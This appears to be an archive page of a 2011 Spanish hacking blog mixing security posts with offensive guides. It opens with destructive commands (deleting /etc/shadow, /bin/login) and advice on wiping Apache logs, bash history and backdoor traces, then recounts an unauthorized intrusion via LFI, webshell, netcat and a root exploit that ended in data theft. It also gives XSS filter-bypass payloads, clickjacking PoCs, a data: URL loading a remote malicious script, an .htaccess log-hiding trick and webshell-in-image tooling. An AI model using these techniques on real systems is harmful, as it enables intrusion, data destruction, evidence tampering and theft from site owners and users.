rm /etc/shadow
rm /bin/login
rm /bin/rm
rm /etc/inetd.conf
killall login

B) Capturando y eliminando los access log de Apache.
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell

Los directorios más comunes son:
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log
var/log/access.log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache2/error_log
var/log/apache/error.log
var/log/apache2/error.log
var/log/error_log
var/log/error.log
var/log/access_log
var/log/access_log

Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.

C) Eliminar el Bash History
C-1) Si, es algo lógico, que mucha gente olvida...
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history
C-3) Recordar: Esto se hace JUSTO ANTES de salir.

D) Eliminar todo rastro de exploits, webshells, sniffers, ...
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fué, pero ahí supongo que seguirá.

E) Tener cuidado con los cambios en el sistema
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.

F) Cuidado con los Backdoors
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.

G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root
G-1) No basta con eliminar los permisos de shell (/sh/false)

H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.

I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.

J) Cuidado con el syslog.
J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.

K) Comandos de interés:
-Who: Lista usuarios activos.
-last: Ultimo inicio de sesión de usuario.
-ps: Procesos activos.
-lastcom / hostory: Comandos realizados. Véase apartado C.

L) Ficheros peligrosos:
-utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp
-wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.
-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.
-acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).

Despedida:
Bueno, como comenté en mi último relato, espero sea de su agrado.

Se aceptan críticas, sugerencias, y amenazas de muerte.

Como siempre digo: "Más vale saber que haces, que saber hacer"

Un saludo!
5 0verl0ad Labs: 2011 Existen tantos tipos de huellas, como tipos de ataques realizados. Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pue...

.htaccess: ocultar backdoor

Saludos,

No es raro que cuando un atacante logra vulnerar la seguridad de nuestra web éste deje un backdoor en los archivos originales de la web para poder tener acceso de nuevo en un futuro. Lo ideal es que tras un ataque se analicen todos los archivos alojados para comprobar si han inyectado algo raro, pero eso no siempre pasa en la realidad y los backdoors quedan escondidos hasta que sean utilizados.

Leyendo un paper sobre troyanos en PHP me he encontrado con una idea bastante interesante de cómo ocultar las peticiones al archivo que está infectado (en realidad exponen varias ideas que combinan pero voy a comentar esta en concreto). Lo que proponen es la creación de un .htaccess en cuyo interior haya una directiva que indique que no se logueen las peticiones a nuestro archivo backdooreado (en el caso del paper la cosa era algo diferente, por lo que he comentado antes de que usa varios métodos). Básicamente esto podríamos hacerlo con la siguiente línea:


SetEnvIf Request_URI "^/0verl0ad/XC3LL\.php$" dontlog


SetEnvIf sirve para definir variables de entorno a partir de los parámetros de las peticiones, pudiendo usar para ello los headers incluso. En este caso el atributo con el que se define es Request_URI (la URI es la parte de la URL que viene detrás del dominio). Tanto ^ como $ son parte de regexp (expresiones regulares), denotando la primera el inicio del string y la segunda el final. Por último "dontlog" es lo que indica que no loguee.

En resumen esa directiva deshabilitaría el log de las peticiones que se realicen a la URI señalada (esa URI sería donde tendríamos el archivo backdorizado).
5 0verl0ad Labs: 2011 Saludos, No es raro que cuando un atacante logra vulnerar la seguridad de nuestra web éste deje un backdoor en los archivos originales...

miércoles, 17 de agosto de 2011

El fingerprinting dentro de la Seguridad Web

Saludos,

Me he entretenido estas últimas noches en escribir este pequeño PDF. De entrada digo que no hablo de nada nuevo, símplemente es una recopilación de diferentes técnicas para que los que empiezan conozcan un poco más de este tema. Si alguien puede hacer mirrors sería de agradecer.

Indice:
1. Introducción
2. Identificación de aplicaciones web
2.1. Información dentro de HTML
2.2. Códigos de estado HTTP
2.3. Checksums
2.4. Motores de búsquedas
2.5. Robots.txt
3. Identificación de Servidores Web
3.1 Análisis de cabeceras HTTP
3.2 HTTP Parameter Pollution / Contamination
4. Referencias

DESCARGA => SlideShare
MIRROR => AnyHub
EXPLOIT-DB => Descargar
5 0verl0ad Labs: 2011 Saludos, Me he entretenido estas últimas noches en escribir este pequeño PDF. De entrada digo que no hablo de nada nuevo, símplemente es ...

lunes, 15 de agosto de 2011

Evadiendo Snort con Paquetes Fragmentados

Hace unos días, iDefense publico un advisory sobre una vulnerabilidad en el preprocesador Frag3 de Snort que permitiría evadir la detección de un ataque con paquetes fragmentados.

Definitivamente esta vulnerabilidad no tuvo el mismo impacto mediático que la catástrofe criptográfica de Debian, pero que todas las redes protegidas por Snort, hayan sido susceptibles a ataques de los que nadie se ha enterado, no es para nada poca cosa.

Parte del advisory de iDefense decía lo siguiente:

"Due to a design error vulnerability, Snort does not properly reassemble fragmented IP packets. ... In order to exploit this vulnerability, an attacker would have to fragment IP packets destined for a targeted host, ensuring that the TTL difference is greater than the configured maximum. By default, the maximum difference is 5."

¿ Cuál es el problema ?

Básicamente, el problema se debía a la opción "ttl_limit" de frag3, que por default tiene un valor de 5. Esto significa que si llegaba un fragmento con una TTL de 40, y luego otro con una TTL de 46, debido a la vulnerabilidad encontrada estos fragmentos no serían controlados por la política de Snort.

Al parecer esto se debió a un error de concepto introducido en Snort 2.6 y 2.8, y que ha sido corregido por Sourcefire en el nuevo release 2.8.1. iDefense también propone un workaround a este problema, que consiste en llevar el "ttl_limit" a su valor máximo de 255.

¿ Qué es frag3 y porque controla la TTL ?

frag3 es un preprocesador de Snort. Un preprocesador sirve para detectar ataques que no pueden ser detectados mediante una comparación de firmas, o para normalizar datos que luego si puedan ser detectados por comparación de firmas. En particular, el preprocesador frag3 se encarga de reensamblar paquetes fragmentados para poder comparar el payload con firmas de ataques.

Una de las técnicas mas usadas para evadir un IDS es la fragmentación de paquetes, por lo que frag3 no solo reensambla los paquetes, sino que también verifica que no se este intentando realizar una evasión mediante paquetes fragmentados, y aquí es en donde entra en juego el control de la TTL.

frag3 posee 2 opciones para controlar la TTL, una es "min_ttl" y la otra es "ttl_limit", en la cual se descubrió la reciente vulnerabilidad. Veamoslas un poco más:

- min_ttl: Indica el valor mínimo de TTL que debe tener un paquete para ser aceptado. Esto es útil para detectar ataques de evasión en los que entre nuestro IDS y el target hay un router. La idea de estos ataques es enviar un paquete fragmentado con una TTL muy chica que al pasar por el router expire.

Por ejemplo, mandamos 3 paquetes fragmentados a un target, el primero y el tercero poseen un payload de ataque y una TTL alta, mientras que el segundo paquete posee un payload con datos basura y una TTL muy chica. Cuando Snort reensamble los 3 paquetes, se mezclará el payload de ataque con los datos basura, y ninguna comparación de firmas detectará el ataque. Como el segundo paquete tiene una TTL muy chica, va a expirar cuando pase por el router, y solamente llegarán al target el primer y el tercer paquete, que efectivamente tenían el payload de ataque.

- ttl_limit:
Como ya dijimos, esta opción controla la diferencia máxima del valor de la TTL que puede haber entre paquetes fragmentados con el mismo ID de fragmentación. Según se ha publicado, esto es un error de diseño que ya se venía arrastrando de versiones anteriores de Snort con frag2, y que en el futuro será descontinuado.

Al parecer, esta opción fue agregada porque herramientas como Fragroute, para realizar ataques de evasión con paquetes fragmentados, configuraban los campos de los paquetes con valores al azar que raramente se veían en tráfico normal. Por ejemplo, una diferencia de TTL de hasta 5 saltos podría llegar a ser normal ya que es posible que un paquete haya tomado una ruta mas larga, pero según entiende Snort más de 5 saltos ya es algo más raro.

Bueno, saludos a todos los administradores de Snort que seguramente deben tener mucho trabajo, primero corrigiendo esta vulnerabilidad, y después averiguando si en algún momento los han hackeado sin enterarse ;-)

Fuente: Kunfoosion.com
5 0verl0ad Labs: 2011 Hace unos días, iDefense publico un advisory sobre una vulnerabilidad en el preprocesador Frag3 de Snort que permitiría evadir la detecció...

Relato de una intrusión

Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.

El sitio, por privacidad, lo llamaremos www.site.com.

Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.phpPage=", a la cual se agregaba la extensión ".PHP" por seguridad...

Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.

Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.

En un primer intento, trate de enviarle la ruta: ../../../etc/passwd%00, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.

Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.

Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.

Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.

Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:

Un solo fallo, lo pueden pagar muchos.

Mi único trofeo fue la copia de la Web, y de la base de datos.

Un saludo, y espero sea de su agrado mi primera publicación en este Blog.

Att: Yo-Mismo
5 0verl0ad Labs: 2011 Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI. El sitio, por privacidad, lo llama...

miércoles, 10 de agosto de 2011

HTML5 [III]: Rompiendo medidas anti-Clickjacking

Saludos,

Continuamos hablando de HTML5 y sus implicaciones futuras en la seguridad, como ya hicimos anteriormente. En esta ocasión vamos a comentar la posibilidad de bypassear una de las medidas más comunes para evitar el clickjacking, utilizando para ello las innovaciones que se están implantando con HTML5.

La medida contra Clickjacking más común que adoptan las páginas webs es el Frame Busting, consistente en comprobar el atributo location, y si este es diferente al que debiera ser se manda la navegación a la página correcta. Normalmente se suele establecer este control usando un script sencillo en JS:


<script type="text/javascript">
if (top.location != location) top.location = self.location;
</script>



Entre los nuevos atributos introducidos con HTML5 se encuentra "sandbox", el cual permite añadir restricciones extra al contenido de un iframe. De esta forma se puede bloquear la ejecución de JavaScript, de formularios, etc. al cargar dentro del sandbox el iframe. Como exponen en este advisory la propia naturaleza del atributo sandbox deshabilita la protección contra ClickJacking, puesto que impide la ejecución del código JS que lleva a cabo tal acción.



Otra posible forma de evitar esta protección es usando el evento OnBeforeUnload (evento del cual ya hablamos en el anterior post) . Podemos usar este evento para que devuelva algún mensaje, provocando que el usuario lo cancele y permita visualizar el iframe dirigido a la víctima. Un posible PoC (extraído de JavaScrip.info) sería:

<script>
window.onbeforeunload = function() {
window.onbeforeunload = null
return "Maybe you want to leave the page, before you become rich?!?"
}
</script>

<iframe src="http://victima.com"></iframe>


Para ampliar más sobre el tema del bypass de los frame busters hay una publicación muy interesante que recomiendo:

Busting frame busting
5 0verl0ad Labs: 2011 Saludos, Continuamos hablando de HTML5 y sus implicaciones futuras en la seguridad, como ya hicimos anteriormente. En esta ocasión vamo...

HTML5 y el bypassing de filtros XSS [II]

Saludos,

De nuevo vengo a publicar "nuevas" formas de bypassear filtros anti-XSS que se basen en listas negras de strings, como ya hice hace poco. Gracias a que HTML5 ha introducido nuevos eventos que nos permiten ejecutar JS podremos encontrar filtros que no hayan actualizado sus strings restringidos.

Los nuevos elementos que a priori he visto interesantes son OnBeforeUnload, OnUnLoad, y los eventos que se activan por teclado (OnKeyDown, OnKeyUp,OnKeyPress). Respecto a los primeros citados, estos se activan cuando se pierde la página donde se ejecuta, es decir, cuando por ejemplo cerramos la ventana, actualizamos, vamos hacia atrás, seguimos un link, etc. Se trata de una acción bastante común en la navegación, por lo que tenemos la certeza de que en algún momento va a ser ejecutado:

</body><body onBeforeUnload=alert(/XSSED/)>Alfa</body>


Por otra parte la familia de eventos "OnKey" se ejecutan cuando una tecla es pulsada (Down), cuando se levanta el dedo de ésta (Up), y cuando se han realizado ambas acciones (Press):

</body> <body OnKeyDown=alert(/XSSED/)>Charlie</body>
5 0verl0ad Labs: 2011 Saludos, De nuevo vengo a publicar "nuevas" formas de bypassear filtros anti-XSS que se basen en listas negras de strings, c...

sábado, 6 de agosto de 2011

SMF 2.0: Privilege escalade (from Token Hijacking)

Saludos,


Como recordareis recientemente habíamos descubierto cierta vulnerabilidad en el sistema de foros SMF que nos permitía robar el token del staff (incluido el admin), y entre los posibles usos estaba el bypass de las protecciones contra CSRF. Como es lógico, lo primero que pensemos era en intentar hacer una escalada de privilegios hasta admin, cosa que nuestro querido amigo Seth logró.

En el siguiente disclosure se muestra el PoC codeado por Seth para escalar privilegios hasta admin, además de explicar cómo parchearlo y otra forma de obtener el token (también relacionado con el centro de moderación):

SMF 2.0: Session hijacking disclosure [English]
5 0verl0ad Labs: 2011 Saludos, Como recordareis recientemente habíamos descubierto cierta vulnerabilidad en el sistema de foros SMF que nos permitía robar el...

miércoles, 3 de agosto de 2011

SMF 2.0: Token Hijacking

Saludos,


El otro día enredando y tratando de auditar cierto foro me encontré con este pequeña vulnerabilidad, que pudiera pasar por insignificante pero que sirve de llave para ejecutar un CSRF.

En primer lugar: ¿qué diablos es un token de sesión? Podemos entender como un token, en este contexto, como una cadena identificadora, generada en el momento de iniciar nuestra sesión, que permite autenticar nuestra acciones dentro de nuestra sesión como nuestras. De esta forma se evitan los ataques CSRF, puesto que si por ejemplo para realizar un logout es requerido el token (P.E.: http://webfalsa.com/index?action=logout;[aquí el token] ) a menos que el atacante lo conozca de antemano no podrá llevar a cabo el CSRF para desloguearlo.


Es por ello que cuando nos encontramos con la posibilidad de ejercer un robo de tokens nos estamos saltando esa restricción. En este caso concreto, el del sistema de foros SMF 2.0, el problema subyace en que el token es enviado por una petición HTTP de tipo GET, por lo que como ya escribí en su momento, se puede interceptar usando como sniffer un archivo .php en nuestro servidor (como se puede observar en el enlace.


Ahora bien, ¿donde se nos expone el token como para poder interceptarlo?. En el centro de moderación, cuando navegamos a través de él (viendo los logs, o cualquier otra cosa que atañe a los moderadores, y superiores, únicamente) y volvemos al apartado principal del centro de moderación, podemos observar en la url lo siguiente:

/index.php?action=moderate;area=index;e2971bcc=2fddd45d00d9d9482005af0737680afd

Siendo lo que está en negrita el token. En ese mismo sitio encontramos un apartado tipo tagboard ("Notas de moderación") en el cual podemos insertar BBCode, y entre las etiquetas permitidas se cuentra la recurrente [img].

Así pues, podremos capturar los token de sesión de los otros moderadores, gmods y administradores, y poder desarrollar a posteriori ataques tipo CSRF.
5 0verl0ad Labs: 2011 Saludos, El otro día enredando y tratando de auditar cierto foro me encontré con este pequeña vulnerabilidad, que pudiera pasar por ins...

martes, 26 de julio de 2011

¡Logo para el blog!

Saludos,

Pues sí, por fin tenemos un logotipo. ¡Todo gracias a 5475UK1!:

5 0verl0ad Labs: 2011 Saludos, Pues sí, por fin tenemos un logotipo. ¡Todo gracias a 5475UK1!:

sábado, 23 de julio de 2011

HTML5: Nuevos vectores XSS (Bypass)

Saludos,

Estoy hechando un vistazo a esta web para documentarme sobre HTML5 cuando me he topado con algunas cuestiones bastante interesantes puesto que pueden llegar a ser útiles para el bypass de algunos filtros contra XSS.

Al navegar por la mencionada web me he encontrado con los nuevos elementos "<video>" y "<audio>, cuyo funcionamiento es similar al clásico <image> (con un atributo SRC que es donde se encuentra el video/audio a reproducir). Dudo mucho que actualmente se filtren dichos elementos en los mensajes, por lo que se puede recurrir al mismo truco que se hacía con image: colocar como src del video algo inexistente y después usar el evento onerror para ejecutar nuestro XSS. Algo así:


<video src=. onerror=alert(/XSSed/)>
<audio src=. onerror=alert(/XSSed/)>



Por otra parte también me ha llamado la atención un nuevo atributo para input llamado autofocus (http://www.html5tutorial.info/html5-autofocus.php) que permitiría la ejecución de código javascript sin necesidad de la interacción con el usuario (mejor que onclick y onmouseover). El código sería algo tipo:


<input name="XSS" onfocus=alert(/XSSed/) autofocus>
5 0verl0ad Labs: 2011 Saludos, Estoy hechando un vistazo a esta web para documentarme sobre HTML5 cuando me he topado con algunas cuestiones bastante interesa...

jueves, 21 de julio de 2011

HPC: HTTP Parameter Contamination

Saludos,

Estos días ha estado rulando por la red un pequeño paper (firmado por RSnake, j0rgan y lightos) llamado "HTTP Parameter Contamination", en el que exponen sus investigaciones sobre la intoxicación de los parámetros enviados al servidor (peticiones GET, POST...). La semilla de todo esto fue otra presentación en 2009 que trataba también de malformar los parámetros enviados, en este caso haciendo que, por ejemplo, se enviasen dos variables con el mismo nombre pero distinto valor ( /index.php?var1=A&var1=B ). Al tratarse de algo inesperado los servidores manejan esta situación de distintas formas (algunos dejan la variable con el primer valor asignado, otras con el segundo, o las concatenaban).


Este primer paper ( que linkearé al final de este post) llamaba a la técnica de setear una misma variable dos veces "HPP, HTTP Parameter Polluting", y de ella se podían extraer dos posibles vertientes de trabajo. Por un lado implícitamente el hecho de que en cada servidor ante esta técnica la respuesta era diferente implica su posible utilización para realizar fingerprinting. Por el otro lado también habría una nueva puerta para el bypass de WAFs (por ejemplo, en el caso en el que se producía concatenación se podría aprovechar ésta para realizar inyecciones SQL).


La "nueva" técnica (HPC) intoxica los parámetros malformando las variables (y sus valores asignados) con caracteres reservados, provocando igualmente respuestas /in/esperadas por parte del servidor. Nuevamente estas respuestas han sido recogidas en una tabla, permitiendo la identificación de un servidor a través del tipo de respuesta que obtengamos al malformar la petición (dicho cuadro, junto con el obtenido al aplicar HPP aparecen en los respectivos papers que están más abajo). Además al igual que el anterior caso también permite el bypass de WAFs.


[1] HTTP Parameter Pollution

[2] HTTP Parameter Contamination
5 0verl0ad Labs: 2011 Saludos, Estos días ha estado rulando por la red un pequeño paper (firmado por RSnake, j0rgan y lightos) llamado "HTTP Parameter Co...

martes, 19 de julio de 2011

Localizar panel de control

Saludos,

Hago esta pequeña guía rápida porque ya son bastantes personas las que preguntan como encontrar el panel de administración (imagino que la mayoría de estas personas simplemente a lanzar alguna tool para encontrar SQLi sin preocuparse por nada más).


Para encontrar la zona de login normalmente basta con sólo navegar por el sitio web y estar atentos. Cuando ya has auditado algunas webs sabes más o menos por donde van los tiros, y puedes deducir de forma habitualmente exacta, donde se encuentra el panel de administración. La experiencia adquirida es un grado en esto.


1) Aplicaciones pre-fabricadas

Por otra parte cuando una web utiliza aplicaciones pre-fabricadas no suelen variar las rutas de sus archivos, por lo que si es este el caso podeis instalaros dicha aplicación y comprobar donde se encuentran los archivos que buscais, o si no podeis leer la documentación oficial.

2) Robots.txt

Es bastante común que los webmaster incluyan en el archivo robots.txt las rutas y los archivos que no quieren que queden indexados por los motores de búsqueda, por lo que se pueden encontrar allí a veces información sensible sobre donde buscar, o incluso la propia ruta del login del admin.



3) Fuerza bruta

Si de ninguna forma se consigue localizar también se puede recurrir a la fuerza bruta, utilizando aplicaciones muy sencillas que lancen cientos de peticiones GET a directorios y archivos que nosotros tenemos guardados en un diccionario. Las ventajas de esto es que si tenemos un buen diccionario seguro que damos en el clavo, pero esta ventaja es contrarrestada por los aspectos negativos que tiene esta técnica: mucho ruido. Cuando el webmaster analice los logs se va a dar cuenta de una ingente cantidad de errores 404 procedentes de una misma IP en un lapso de tiempo muy corto, por lo que es fácil de detectar.


4) Web Crawlers

Se trata de herramientas que guardan todos los links de un sitio web y continúan navegando a través de ellos, añadiendo a la lista los nuevos links encontrados en la URL que han seguido. De esta forma se puede establecer un mapa de la web de todos los archivos linkeados. Codear una herramienta de este estilo es sencillo (por lo menos en perl simplemente necesitamos WWW::Mechanize y un algortimo de un par de líneas), por lo que puede ser útil si nosotros no hemos encontrado algún link que lleve a la zona de login a simple vista.


Por otra parte también tiene sus inconvenientes, el más lógico es que puede que el panel de administración no esté linkeado en ninguna parte de la web, además de que si la web es de gran tamaño va a ser un intento inútil, puesto que vamos a obtener gran cantidad de resultados y vamos a consumir una gran cantidad de recursos.




Si quereis añadir alguna forma más que soleis usar para este cometido posteadla.
5 0verl0ad Labs: 2011 Saludos, Hago esta pequeña guía rápida porque ya son bastantes personas las que preguntan como encontrar el panel de administración (ima...

martes, 28 de junio de 2011

0verLFI versión GUI

Saludos,

Doddy H., usuario de CPH, ha codeado una versión de 0verLFI con interfaz gráfica, usando para ello la librería TK.

Agradecemos mucho su colaboarición, y ya sabeis si deseais colaborar con algún code, información, publicación o cualquier cosa podeis mandar un correo a overloadblog /at/ hotmail.es


[Source de LFI Image Helper (0verLFI versión GUI]
5 0verl0ad Labs: 2011 Saludos, Doddy H. , usuario de CPH, ha codeado una versión de 0verLFI con interfaz gráfica, usando para ello la librería TK. Agradec...

domingo, 26 de junio de 2011

0verLFI: inyecta webshells en metadatos (JPEG)

Saludos,

Hoy he codeado esta pequeña y sencilla herramienta para meter webshells dentro de los metadatos de una imagen, sin alterar su visualización. Ideal para explotar LFIs, puesto que podrá pasar desapercibida como una imagen más (un avatar, archivo adjunto, etc.), totalmente inofensiva. Screenshot:




Aquí podemos ver como la imagen se mantiene en perfecto estado:



Y por último probandola en un entorno local vulnerable:




[Source de la Herramienta]
5 0verl0ad Labs: 2011 Saludos, Hoy he codeado esta pequeña y sencilla herramienta para meter webshells dentro de los metadatos de una imagen, sin alterar su v...

jueves, 26 de mayo de 2011

Zombie Cookies: cookies que vuelven a la vida

Saludos,


Como ya adelanté en el anterior post, las próximas publicaciones van a intentar ajustarse a problemas relacionados con Cookies. En esta ocasión quería hablaros sobre las denominadas Zombie Cookies.


Con Zombie Cookies denominamos a aquellas cookies que son capaces de reaparecer ("volver a la vida") pese a que las borremos una y otra vez. Esto puede ser especialmente interesante para las empresas de Data Mining, puesto que pueden, a través de publicidad por ejemplo, introducirnos una cookie de seguimiento al navegar por una web perfectamente legal. Esto permitiría trazar nuestra hoja de ruta, sabiendo qué tipo de webs nos interesan, y qué productos.


Existen diferentes técnicas para poder generar este tipo de cookies casi indestructibles, basadas en su mayoría en guardar la cookie en distintos centros de almacenamiento que puede usarse en un navegador, como las flash cookies o las imagenes temporales.


El culmen de las zombie cookies es la API de JavaScript "Evercookie", que utiliza gran cantidad de sistemas para almacenar la cookie y reponerla cuando ésta sea borrada. Para más información sobre el tema podeis visitar su web:

EverCookie


La idea de utilizar archivos temporales para renovar las cookies me parece bastante interesante, así que es bastante probable que acabe haciendo algún script a modo de PoC después de exámenes.
5 0verl0ad Labs: 2011 Saludos, Como ya adelanté en el anterior post, las próximas publicaciones van a intentar ajustarse a problemas relacionados con Cookie...

miércoles, 25 de mayo de 2011

Clickjacking + Facebook = Likejacking

Saludos,


En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema nada mejor que hacerlo con esta técnica bautizada como "Likejacking" (en referencia al botón "Like" de Facebook). El Likejacking ha sido carne de noticiario, saliendo en televisión y periódicos recientemente, por lo que me parece algo adecuado para entrar en materia.


El concepto es una combinación de un ataque de clickjacking (creo que ya publiqué algo por el blog en su momento) con los Social Plugins de FB. Se trata de que al clickar un video, o cualquier parte de una web, en realidad estemos clickando un botón de "Like" en forma de iframe invisible, por lo que aparecerá en nuestro muro como que "Nos gusta" esa web. Esto puede dar pie a que algún amigo nuestro también clicke sobre la web que supuestamente nos gusta, y también caiga en la trampa, extendiendose la plaga.


Normalmente se suelen identificar estos enlaces fraudulentos por que tienen nombres o descripciones bastante morbosos y que despiertan esa curiosidad innata en el hombre, de ahí el éxito de su extensión entre los amigos de una persona cuyo FB ha sido "infectado". En lo personal me recuerda a aquellos virus que se extendían vía MSN y que para clickar en el enlace ponían mensajes del tipo "Mira mis últimas fotos en la playa desnuda" y cosas al estilo.


Además del spam y la publicidad gratis que se puede conseguir con esta técnica, los creadores de malware lo están empleando para su distribución, con trucos tan viejos (y todavía efectivos) como hacer que el incauto visitante se descargue un plug-in (hete aquí el malware) para poder visualizar contenido.


El problema es tan generalizado debido a que un elevado número de usuarios de redes sociales por comodidad mantienen las sesiones abiertas a través de cookies que no expiran en vez de cerra sesión y loguearse otra vez cada vez que quieran hacer uso de FB. Amén de las personas que tienen el FB abierto durante todo el día.


El código para poner un "Like" en tu web es bastante simple, con un iframe similar a:

<iframe src="http://www.facebook.com/plugins/like.php?href=Tu-web;layout=button_count&show_faces=true&width=100&action=like&font=arial&colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:100px; height:px"></iframe>


Todos los parámetros se pueden modificar (en la propia web de Facebook explican cada uno en detalle). Con este iframe base se puede trabajar para dejarlo invisible (opacity: 0) y además colocarlo en algún punto clave donde el usuario vaya a clickar obligatoriamente. Por supuesto se puede ir más lejos, ofuscando el código por ejemplo.
5 0verl0ad Labs: 2011 Saludos, En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema na...

martes, 24 de mayo de 2011

Bookmarks: Firefox Cross-Domain Vulnerability

Saludos,

Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he topado con algo interesante. Se trata de un bug en Firefox, reportado hace mucho tiempo, que permite el uso de JavaScript (con todo lo que ello implica) al abrir un enlace favorito "corrupto".


El concepto consiste en correr código HTML y JS a través de "Data:...". Para informaros como funciona 'Data:' echad un ojo al RFC 2397 "The "data" URL scheme". De esta forma, se hace que la víctima abra de alguna forma un fake hecho con "Data:" (en el cual esté nuestro código JS malicioso) y se hace que la guarde en favoritos. El código JS malicioso sólo se ejecutará cuando la víctima abra el enlace corrupto que tiene en favoritos, y lo hará sobre la web que esté visitando en ese momento.


En otras palabras, lo que te permite esta vulnerabilidad es correr un JS malicioso sobre una web que estás visitando cuando la victima vaya a sus favoritos y abra nuestro enlace malicioso (de ahí lo de Cross-Domain). De esta forma podemos, por ejemplo, conseguir una cookie de un sitio web (P.E. Google) pese a que este no sea vulnerable a XSS. A priori parece poco efectivo, pero aplicando un poco de ingeniería social es perfectamente viable.



Un ejemplo propuesto por el descubridor de la vulnerabilidad (Michal Zalewski) sería al estilo de:

data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html<script src="http://nuestrohost.com/codigo-malicioso.js"></script>



En nuestro código JS malicioso a parte del payload se podría hacer que crease una web falsa para engañar a la víctima. Si bien parece poco probable que alguien guarde en favoritos una enlace en cuya URL viene código JS, pese a que se observe una web fake que pueda interesar a la víctima, siempre se puede ofuscar. Algunas formas simples sería pasando el contenido de "Data:" a Base64 (ver el RFC), o bien usando el truco que aparece en el reto 3 de Seth: añadir tropecientos &nbs p; que acaben ocultando el final de la URL. De esta última forma sólo se vería el "data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html" y no el resto.


PDD: para más info Firefox Bookmarks Cross-Domain Travel Vulnerability
PDD: perdón si lo que he escrito es algo denso o infumable, pero apenas he dormido.
5 0verl0ad Labs: 2011 Saludos, Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he...

lunes, 23 de mayo de 2011

IpCatcher

Saludos,


Leyendo un post, de no recuerdo quién ni donde, usaban un script en PHP para conseguir la IP de un objetivo, cosa normal y corriente. Lo único que me pareció interesante, a título anecdótico, es que para ver la IP no hacía falta ir abrir el navegador e ir a nuestro servidor donde estaría la IP guardada, sino que la consultaba desde un script en Python. Así que visto esto, codee algo sencillo (más que nada para practicar PHP y Perl, que ando algo oxidado) pero implementando algo más (por supuesto que aun se pueden añadir mil y una cosas más, incluso mejorar/simplificar el code).



El funcionamiento es simple. Por una parte tenemos un PHP (codigo) que al recibir una petición GET indicando usuario y password, y el nombre de nuestro objetivo, nos escupirá otro archivo PHP (el cual se encuentra encriptado en base64 y que puedes ver limpio aquí. Este otro PHP será el que debamos de enviar a nuestro objetivo (a través de un MP puesto como un tag de imagen, por ejemplo), y su cometido es crear un .txt con la IP (y otros datos quizás relevantes).


Tanto para obtener la URL a enviar, como para leer el fichero .txt, usaremos este script en perl (Aquí). No tiene nada especialmente reseñable, se usa WWW::Mechanize para hacer las peticiones y MIME::Base64 para desencriptar el contenido del .txt.

La idea original era que, cuando fuera visitado por nuestro objetivo el enlace al tratar de visualizar la imagen (como si de un CSRF se tratase), éste se borrara y tan sólo quedase el .txt para ser leido. Siendo sinceros, me daba bastante pereza esta mañana ponerme a retocarlo, y estos días mi tiempo es oro (tengo los examenes finales esta semana y la siguiente), así que os dejo hacer eso como tarea ;).


PD: el código PHP en realidad está hecho por Seth. En primera instancia hice yo uno, pero me dió un error sin sentido -el cual al parecer tenía que ver cuando usaba base64_decode() y Seth me lo envió reparado. Como ya he dicho ando mal de tiempo asi que lo dejé tal y como estaba.
